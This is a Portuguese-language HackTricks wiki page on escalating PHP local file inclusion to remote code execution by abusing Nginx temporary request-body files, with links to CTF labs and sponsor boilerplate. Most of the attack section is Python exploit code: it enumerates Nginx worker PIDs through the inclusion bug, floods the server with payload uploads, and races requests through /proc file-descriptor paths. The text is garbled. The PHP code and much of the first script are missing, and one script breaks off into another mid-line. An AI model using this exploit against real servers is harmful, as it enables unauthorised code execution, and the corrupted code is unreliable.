# LFI2RCE via Nginx temp files {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} ### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**. O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações. Você pode conferir o site deles e experimentar o motor gratuitamente em: {% embed url="https://whiteintel.io" %} *** ## Configuração vulnerável [**Exemplo de https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) * Código PHP: \`\`\`\`h\` /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Nota: Não se pode incluir diretamente \`/proc/34/fd/15\` neste exemplo, pois a função \`include\` do PHP resolveria o caminho para \`/var/lib/nginx/body/0000001368 (deleted)\`, que não existe no sistema de arquivos. Essa pequena restrição pode ser contornada por alguma indireção como: \`/proc/self/fd/34/../../../34/fd/15\`, que finalmente executará o conteúdo do arquivo deletado \`/var/lib/nginx/body/0000001368\`. ## Exploit Completo \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # explorar inclusão de arquivo local PHP (LFI) via assistência de buffer de corpo do cliente do nginx # veja https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ para detalhes URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # encontrar processos de trabalho do nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] trabalhador do nginx encontrado: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # fazer upload de um grande corpo de cliente para forçar o nginx a criar um /var/lib/nginx/body/$X def uploader(): print('\[+] iniciando uploader') while not done: requests.get(URL, data=' //' ``` requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload))))) except: pass ``` ```markdown def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session) def send\_payload\_multiprocess(requests\_session): # Use todos os CPUs para enviar o payload como corpo da requisição para o Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start() def generate\_random\_path\_prefix(nginx\_pids): # Este método cria um caminho a partir de uma quantidade aleatória de componentes de caminho do ProcFS. Um caminho gerado parecerá com /proc/\/cwd/proc/\/root/proc/\/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # As flags são formatadas como hxp{} if "hxp" in d: print("Flag encontrada! ") print(d) def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Escaneie os FDs do Nginx entre 10 - 45 em um loop. Como arquivos e sockets continuam fechando - é muito comum que o FD do corpo da requisição abra dentro dessa faixa for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start() def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start() if **name** == "**main**": print('\[DEBUG] Criando sessão de requisições') requests\_session = create\_requests\_session() print('\[DEBUG] Obtendo pids do Nginx') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Pids do Nginx: {nginx\_pids}') print('\[DEBUG] Iniciando envio do payload') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Iniciando leitores de fd') read\_file\_multiprocess(requests\_session, nginx\_pids) ``` ``` ## Labs * [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz) * [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/) * [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/) ## References * [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) ### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**. Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware. You can check their website and try their engine for **free** at:
{% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ```